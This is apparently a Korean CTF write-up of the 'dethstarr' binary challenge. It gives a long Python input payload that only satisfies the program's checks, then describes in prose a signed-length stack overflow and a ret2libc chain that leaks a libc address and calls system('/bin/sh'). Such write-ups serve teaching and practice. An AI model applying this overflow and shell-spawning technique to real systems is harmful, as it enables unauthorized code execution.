dethstarr
dethstarr문제는 계속 입력을 받고, 지정된 값임을 확인하고 아니면 exit함수로 넘어가는 것을 반복한다. 처음에는 코드에서 하라는 대로 계속 따라갔더니
r < <(python -c 'print "\xca\x00\x00\x00"+"\x00\x00\x00\x00"+"\x01\x00\x00\x00"+"\xac\x00\x00\x00"+"\x9a\x00\x00\x00"+"\x00\x00\x00\x00"+"\x00\x00\x00\x00"+"\x01\x00\x01\x00"+"\x49\x4e\x53\x54"+"\x1f\x00\x00\x00"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x01\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x03\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"ccccccccccccccccccccccccccccccc"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x04\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"ddddddddddddddddddddddddddddddd"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x05\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"+"\xcb\x00\x1a\x00"+"\xdb\x00\x02\x00"+"\x19\x00\x00\x00"+"\x06\x00\x00\x00"+"aaaa"+"\xca\x00\x00\x00"+"\xcc\xcc\xcc\xcc"+"\x01\x00\x00\x00"+"\x1f\x00\x00\x00"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+"\xcb\x00\x1a\x00"+"\xdb\x00\x02\x00"+"\x19\x00\x00\x00"+"\x06\x00\x00\x00"+"aaaa"+"\xca\x00\x00\x00"+"\xcc\xcc\xcc\xcc"+"\x00\x00\x00\x00"+"\x1f\x00\x00\x00"+"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"+"\xcb\x00\x1a\x00"+"\xdb\x00\x02\x00"+"\x19\x00\x00\x00"+"\x06\x00\x00\x00"+"aaaa"+"\xca\x00\x00\x00"+"\xcc\xcc\xcc\xcc"+"\x02\x00\x00\x00"+"\x1f\x00\x00\x00"+"ccccccccccccccccccccccccccccccc"+"aaaa"+"\x01\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x01\x00\x00\x00"+"\xff\xff\x00\x00"+"\x00\x00\xff\xff"+"\x04\x00\x00\x00"+"\x52\x00\xe1\x00"+"\x03\x00\x00\x00"+"\x1f\x00\x00\x00"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+"aaaa"+"\x01\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x01\x00\x00\x00"+"\xff\xff\x00\x00"+"\x00\x00\xff\xff"+"\x04\x00\x00\x00"+"\x52\x00\xe1\x00"+"\x00\x00\x00\x00"+"\x1f\x00\x00\x00"+"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"+"aaaa"+"\x01\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x01\x00\x00\x00"+"\xff\xff\x00\x00"+"\x00\x00\xff\xff"+"\x04\x00\x00\x00"+"\x52\x00\xe1\x00"+"\x00\x00\x00\x00"+"\x1f\x00\x00\x00"+"ccccccccccccccccccccccccccccccc"+"aaaa"+"\x01\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x1f\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x0a\x00\x00\x00"+"\x01\x00\x00\x00"+"\xff\xff\x00\x00"+"\x00\x00\xff\xff"+"\x04\x00\x00\x00"+"\x52\x00\xe1\x00"+"\x02\x00\x00\x00"+"\x1f\x00\x00\x00"+"ddddddddddddddddddddddddddddddd"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x05\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x04\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"ccccccccccccccccccccccccccccccc"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x03\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"ddddddddddddddddddddddddddddddd"+"\x08\x00\x00\x00"+"aaaa"+"bbbb"+"\xcc\xab\xe1\xdf"+"\x01\x00\x00\x00"+"aaaa"+"\xff\x00\x00\x00"+"\x00\xe0\xfb\xf7"+"\x66\x00\x00\x00"+"\x6c\x75\x00\x00"+"\xff\x00\x00\x00"+"\x60\x00\x00\x00"+"aaaa"+"\xff\xff\xff\x7f"+"\x9c\x00\x00\x00"+"\x1f\x00\x00\x00"+"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"') 의 엄청 엄청 긴 페이로드가 완성되었으나 결과는 그냥 아주 잘 종료가 되었다.
그러다가 취약점을 발견하게 되었다. 0x804928d함수부분인데, 일단, s+9가 31보다 크면 exit함수로 넘어가게 되어, read를 31자까지만 받을 수 있다고 생각이 들지만, 음수를 넣게 되면, read함수의 인자로도 음수가 들어가게 되어 입력을 제한 없이 받을 수 있게 되어 return address까지 덮을 수 있게 된다. 따라서, return address부분에 write함수의 plt를 써주고, 인자로 libc_start_main의 got를 주어 libc_start_main의 실제함수를 leak하고, 0x804928d함수로 다시 리턴한다. 그 다음 입력을 받을 때 또 s+9위치에 음수를 준 뒤, system함수와 /bin/sh의 libc 오프셋을 계산하여 system함수의 실제 주소를 return address에 주고 인자로 /bin/sh의 실제 주소를 주어 쉘을 딸 수 있다.
그리고 read함수에 닿기 전까지는 코드를 따라가면서 하라는 대로 값을 넣어주면 된다.
'시스템 해킹 > cykor' 카테고리의 다른 글
catchme-노가다, 스택버퍼오버플로우 (0) | 2017.12.29 |
---|---|
20121209-메모리 릭, fake ebp (0) | 2017.12.29 |
how2heap/poison_null_byte.c (0) | 2017.01.01 |
chal2 (0) | 2016.12.31 |
chal1 (0) | 2016.12.29 |